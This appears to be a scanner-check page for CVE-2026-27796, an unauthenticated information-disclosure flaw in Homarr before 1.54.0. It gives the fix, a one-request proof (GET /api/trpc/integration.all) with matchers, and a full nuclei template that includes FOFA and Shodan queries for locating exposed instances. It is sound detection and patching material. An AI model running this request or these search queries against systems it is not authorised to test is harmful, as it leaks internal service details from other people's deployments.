Homarr < 1.54.0 - Information Disclosure

mediumseverity

5.3CVSS score

1.3%likelihood of exploitation, next 30 days

70%of all CVEs are less likely

Readycheck to confirm it

Homarr < 1.54.0 contains an information disclosure caused by the integration.all tRPC endpoint being exposed as a publicProcedure, letting unauthenticated users retrieve sensitive integration metadata, exploit requires no authentication.

Impact

Unauthenticated attackers can access sensitive integration metadata, potentially exposing internal service details.

Fix

Update to version 1.54.0 or later.

How to confirm it

Send: GET {{BaseURL}}/api/trpc/integration.all
Positive when: status 200 AND contains "\"result\":{\"data\":{\"json\":" and "\"kind\":\"" AND not contains "UNAUTHORIZED"

Run it with nuclei: nuclei -id CVE-2026-27796 -u <target>

The full check

id: CVE-2026-27796

info:
  name: Homarr < 1.54.0 - Information Disclosure
  author: str4k3r
  severity: medium
  description: |
    Homarr < 1.54.0 contains an information disclosure caused by the integration.all tRPC endpoint being exposed as a publicProcedure, letting unauthenticated users retrieve sensitive integration metadata, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can access sensitive integration metadata, potentially exposing internal service details.
  remediation: |
    Update to version 1.54.0 or later.
  reference:
    - https://github.com/homarr-labs/homarr/security/advisories/GHSA-m4vc-4prp-cvp7
    - https://github.com/homarr-labs/homarr/commit/91fc5a5c747121475a50f2713d571ceb89e95257
    - https://nvd.nist.gov/vuln/detail/CVE-2026-27796
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-27796
    epss-score: 0.01261
    epss-percentile: 0.69861
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 1
    vendor: homarr-labs
    product: homarr
    fofa-query: title="Homarr"
    shodan-query: http.title:"Homarr"
  tags: cve,cve2026,homarr,exposure,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/trpc/integration.all"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - '"result":{"data":{"json":'
          - '"kind":"'
        condition: and

      - type: word
        part: body
        words:
          - "UNAUTHORIZED"
        negative: true

References

Use this check only on systems you are authorised to test. Where the data comes from